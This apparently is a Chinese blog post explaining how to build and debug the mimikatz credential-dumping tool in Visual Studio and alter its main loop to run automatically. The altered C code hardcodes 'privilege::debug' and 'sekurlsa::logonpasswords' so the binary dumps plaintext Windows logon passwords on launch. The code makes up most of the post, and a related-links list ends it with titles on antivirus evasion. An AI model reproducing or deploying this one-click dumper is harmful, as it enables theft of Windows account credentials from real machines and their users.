【源码阅读】VS调试mimikatz-改造法国神器mimikatz执行就获取明文密码
2018-01-20 18:49
1206 查看
0x1 概要
记得某位同学提起在XXX得到了一个一键生成明文的工具,觉得很是神奇。。。然而我一看图标就知道是mimikatz,这工具是开源的,只要改两行代码就可以实现写死命令了。
顺带讲讲编译过程中的问题和解决方法。
0x2 详情
调试这个工具的时候,发现新版本没生成debug模式的选项,F11调试没有对应到源代码。仔细一看原来是没有生成调试文件。设置让Release的程序也生成pdb文件即可。
另外mimikatz没有debug版,所以导致有些参数被优化了。没有办法跟进具体的变量和函数,所以还需要把以下选项调成Debug模式可用的设置。
0x3 修改
原来的代码是程序没有接收到退出信号,就卡在循环里,直到用户输入命令然后执行,既然已经知道原理就写死命令即可实现我想要的功能。找到以下代码:
#ifndef _WINDLL while (status != STATUS_FATAL_APP_EXIT) { kprintf(L"\n" MIMIKATZ L" # "); fflush(stdin); if(fgetws(input, ARRAYSIZE(input), stdin) && (len = wcslen(input)) && (input[0] != L'\n')) { if(input[len - 1] == L'\n') input[len - 1] = L'\0'; kprintf_inputline(L"%s\n", input); //获取参数 status = mimikatz_dispatchCommand(input); } } #endif mimikatz_end(); return STATUS_SUCCESS;
修改后的代码:
#ifndef _WINDLL while (status != STATUS_FATAL_APP_EXIT) { //kprintf(L"\n" MIMIKATZ L" # "); fflush(stdin); //if(fgetws(input, ARRAYSIZE(input), stdin) && (len = wcslen(input)) && (input[0] != L'\n')) //{ // if(input[len - 1] == L'\n') // input[len - 1] = L'\0'; // kprintf_inputline(L"%s\n", input); //获取参数 // status = mimikatz_dispatchCommand(input); //} //提权 status = mimikatz_dispatchCommand(L"privilege::debug"); //获取密码 status = mimikatz_dispatchCommand(L"sekurlsa::logonpasswords"); status = STATUS_FATAL_APP_EXIT; } #endif mimikatz_end(); return STATUS_SUCCESS;
0x4 效果
0x5 参考
vs:Release版本和Debug版本的区别以及转换http://blog.csdn.net/hust_sheng/article/details/49964217
相关文章推荐
- 【源码阅读】Mimikatz一键获取远程终端凭据与获取明文密码修改方法
- Windows明文密码抓取 法国神器mimikatz_trunk附源码
- 利用procdump+Mimikatz 绕过杀软获取Windows明文密码
- 神器 mimikatz - 直接抓取 Windows 明文密码
- windows下获取系统管理员账号明文密码工具mimikatz使用
- 轻量级调试器神器 - mimikatz - 直接抓取 Windows 明文密码!
- mimikatz-域密码获取神器
- 获取Windows系统明文密码神器
- 【转】获取Windows系统明文密码神器
- 轻量级调试器神器 - mimikatz - 直接抓取 Windows 明文密码!
- C#中 string[]转为string及VS中如何带命令行调试、main函数获取命令行参数
- Sqlite 常用函数封装:修改密码,创建数据库、获取表段、字段,取值、插入、删除数据、执行Sqlite指令
- 如何阅读luajit的代码——用vs调试篇
- 如何让VS调试的控制台程序在后台执行,不显示DOS窗口
- 用mimikatz来获取win7的密码
- VS在可执行文件中调试dll函数
- 在VS中调试微软ASP.NET MVC源码
- vs2013 调试libevent 源码
- ssh远程执行命令使用明文密码